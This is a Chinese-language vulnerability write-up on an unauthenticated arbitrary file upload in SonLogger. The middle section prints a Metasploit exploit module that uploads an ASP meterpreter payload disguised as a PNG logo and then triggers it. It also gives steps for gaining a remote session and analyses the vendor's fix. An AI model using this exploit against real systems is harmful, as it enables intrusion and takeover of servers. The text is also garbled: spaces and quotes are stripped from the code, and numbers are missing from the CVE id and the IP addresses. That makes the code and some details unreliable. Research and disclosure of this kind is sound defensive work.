聚焦源代码安全,网罗国内外最新资讯!
概述Sonlogger是土耳其SFC公司开发的一款应用软件,兼容土耳其《第号法》,是一款基于Web的SonicWall防火墙设备日志分析、报告和跟踪软件。《第号法》规定了网络服务提供商所应履行的义务,如进行数据本地化,每年向土耳其信息和通信技术管理局(ICTA)提交两次报告等。Sonlogger用于协助用户生成符合《第号法》规定的合规日志。
SonLogger6.4.1之前的版本存在安全漏洞(CVE--),允许上传未经授权的任意文件。攻击者可以向/Config/SaveUploadedHotspotLogoFile发送POST请求,无需任何身份验证或会话头,也并未检查上传文件的扩展名以及文件内容。利用此漏洞,可以上传恶意文件并访问运行该应用程序的远程服务器,从而获取敏感信息。
漏洞细节Sonlogger4.2.3.3的主界面如下:
Sonlogger的”热点设置-上传”logo界面如下,可知它并未规定所上传文件的扩展名和内容:
下一步,进行上传操作并使用Burpsuite监听。发现上传时会向/Config/SaveUploadedHotspotLogoFile页面发送POST请求。且该请求来源于config/hostspotsettings.js。
PoC编写脚本,生成包含有效载荷的ASP,部分代码如下:
defcreate_payloadMsf::Util::EXE.to_exe_asp(generate_payload_exe).to_send
下面的部分将有效负载上传到目标系统的/Assets/temp/hotspot/img/logohotspot.asp并触发它进行连接:
defexploitbeginprint_good(GeneratePayload)data=create_payloadboundary="----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}"post_data="--#{boundary}\r\n"post_data"Content-Disposition:form-data;name=\"file\";filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n"post_data"Content-Type:image/png\r\n"post_data"\r\n#{data}\r\n"post_data"--#{boundary}\r\n"res=send_request_cgi(method=POST,uri=normalize_uri(target_uri.path,/Config/SaveUploadedHotspotLogoFile),ctype="multipart/form-data;boundary=#{boundary}",data=post_data,headers={Accept=application/json,Accept-Language=en-US,en;q=0.5,X-Requested-With=XMLHttpRequest})unlessresfail_with(Failure::Unreachable,Noresponsefromserver)endunlessres.code==fail_with(Failure::Unknown,"Unexpectedserverresponse:#{res.code}")endjson_res=beginJSON.parse(res.body)rescueJSON::ParserErrornilendifjson_res.nil?
json_res[Message]==Errorinsavingfilefail_with(Failure::UnexpectedReply,Erroruploadingpayload)endprint_good(Payloadhasbeenuploaded)handlerprint_status(Executingpayload...)send_request_cgi({uri=normalize_uri(target_uri.path,/Assets/temp/hotspot/img/logohotspot.asp),method=GET},5)endrescueStandardErrorfail_with(Failure::UnexpectedReply,Failedtoexecutethepayload)end漏洞利用
使用VMware内kali虚拟机作为攻击发起主机,以宿主机作为靶机进行攻击。
首先把编写好的脚本放入metasploit对应的目录之下,之后在msfconsole下reload_all重新载入所有模块,并运行脚本。
检索需利用的modules,使用showoptions命令查看配置项,并对目标主机RHOSTS,RPORT等参数进行设置。
分别查看攻击机和靶机的ip地址,以确认LHOST被设置为..18.。
与虚拟机同网段的宿主机ip地址为..18.1,故设置RHOSTS为该ip地址,并运行脚本。
实施exploit生成meterpreter。
结果,成功获得了uid以及系统信息。
修复版本分析分析发现,修复后版本的hotspotsetting.js部分代码如下:
varhandleLogoDropzone=function(){Dropzone.autoDiscover=false;//otherwisewillbeinitializedtwicevarmyDropzoneOptions={maxFilesize:5,addRemoveLinks:true,clickable:true,};varmyDropzone=newDropzone(#m-dropzone-three,myDropzoneOptions);varmockFile={name:$(#hotspotlogonameinput).val(),size:};myDropzone.options.addedfile.call(myDropzone,mockFile);myDropzone.options.thumbnail.call(myDropzone,mockFile,"../../Assets/hotspot/img/"+$(#hotspotlogonameinput).val()+"?dummy="+Math.round((newDate()).getTime()/)+"");}
分析可知,Sonlogger只会读取来自Assets/hotspot/img文件夹内的logo缩略图,而实际上传到Sonlogger内的logo被上传至Assets/temp/hotspot/img内,并未真正的修改保存。如下图所示,上传的图片提示保存成功,但刷新后仍然是之前的图片。
反编译最新版本的dll也未发现与uploadedlogo相关的方法,由此可以看出debug的方式比较简单粗暴。虽然提供的修复方案解决了安全性问题,但也损害了用户自定义logo的部分功能。
另外,土耳其RZK公司旗下的软件Fortilogger4.4.2.2版本也存在原理相似的未授权任意文件上传漏洞,本文不再展开,有兴趣的读者可以自行研究。欢迎在留言区交流。
小结大多数网站都有文件上传的接口。但如果在后台开发时没有对上传的文件进行安全考虑或者采用了有缺陷的措施,则会导致攻击者通过一些手段绕过安全措施并上传恶意文件,从而通过访问恶意文件获得WEBSHELL,控制整个后台等,危害等级极高。任意文件上传也是常见的高危漏洞类型之一。
导致Sonlogger4.2.3.3版本产生该漏洞的具体原因在于,代码作者没有对访客提交的数据进行检验或者过滤不严,导致攻击者可以直接提交修改过的数据绕过扩展名的检验,进而利用该漏洞上传任意文件并且远程执行任意代码。
目前Sonlogger已发布了6.4.1版本,更新修复了包括该漏洞在内的数个安全问题,也为上传文件接口增加了文件扩展名限制。用户应尽快更新至最新版本。
参考资料1.